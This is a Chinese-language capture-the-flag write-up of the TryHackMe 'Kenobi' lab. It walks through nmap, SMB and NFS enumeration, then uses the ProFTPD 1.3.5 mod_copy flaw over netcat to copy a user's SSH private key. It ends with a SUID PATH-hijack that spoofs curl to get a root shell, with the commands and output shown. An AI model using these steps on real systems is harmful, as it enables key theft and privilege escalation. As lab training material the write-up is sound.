tryhackme--kenobi
nmap端口扫描
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 ProFTPD 1.3.5
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs_acl syn-ack ttl 63 2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
nmap枚举samba用户名
┌──(root💀kali)-[~/桌面]
└─# nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.120.156
kali连接smb服务
smbclient //10.10.120.156/anonymous
枚举下载smb共享文件
smbget -R smb://MACHINE_IP/anonymous
枚举rpc
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount MACHINE_IP
挂载远程共享文件到本地
mkdir /mnt/FileName
mount MACHINE_IP:/var /mnt/FileName
proftpd 1.3.5版本漏洞利用
- 搜索此版本漏洞
┌──(root💀kali)-[~/桌面]
└─# searchsploit proftpd 1.3.5 1 ⚙
------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasplo | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2 | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
------------------------------------------------------- ---------------------------------
- mod copy漏洞利用
根据http://www.proftpd.org/docs/contrib/mod_copy.html官方文档可知,利用SITE CPFR可以从远程服务器中拷贝一个文件到缓冲区中,然后用SITE CPTO命令可以从缓冲区中拷贝文件到本地
──(root💀kali)-[~/桌面]
└─# nc 10.10.120.156 21 130 ⨯ 1 ⚙
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.120.156]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
421 Login timeout (300 seconds): closing control connection
suid提权
- 快速搜索具有suid标志的文件
find / -perm -u=s -type f 2>/dev/null
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
- 分析/usr/bin/menu程序,该程序有三个功能,使用strings命令可以查看二进制文件中的可见字符串,从结果可知,当用户输入1号功能时,会以root权限执行
curl -I localhost命令,而由于执行curl不是使用完整的路径,是调用的环境变量中的curl,故可以替换环境变量达到提权目的。
kenobi@kenobi:~$ strings /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
Invalid choice
- 提权利用
- 将/bin/sh程序复制到本文件夹中,起名为curl
- 给假的curl程序可执行权限
- 替换环境变量
- 执行/usr/bin/menu
- 选择选项1
kenobi@kenobi:~$ ls -l /usr/bin |grep menu
-rwxr-xr-x 1 root root 205464 Apr 29 2019 grub-menulst2cfg
-rwsr-xr-x 1 root root 8880 Sep 4 2019 menu
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ ls
curl systemd-private-356fc4a8c5a64c2ba4db7168594c5599-systemd-timesyncd.service-JmaEHe
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
#
#
# whoami
root
suid(Set UID)知识补充
这个特殊权限的的作用:
- SUID权限仅对二进制程序(binary program)有效;
- 执行者对于该程序需要具有x的可执行权限;
- 本权限仅在执行该程序的过程中有效(run-time);
- 执行者将具有该程序拥有者(owner)的权限。
下面就是passwd这个命令的执行过程 - 因为/usr/bin/passwd的权限对任何的用户都是可以执行的,所以系统中每个用户都可以执行此命令。
- 而/usr/bin/passwd这个文件的权限是属于root的。
- 当某个用户执行/usr/bin/passwd命令的时候,就拥有了root的权限了。
- 于是某个用户就可以借助root用户的权力,来修改了/etc/shadow文件了。
- 最后,把密码修改成功。

浙公网安备 33010602011771号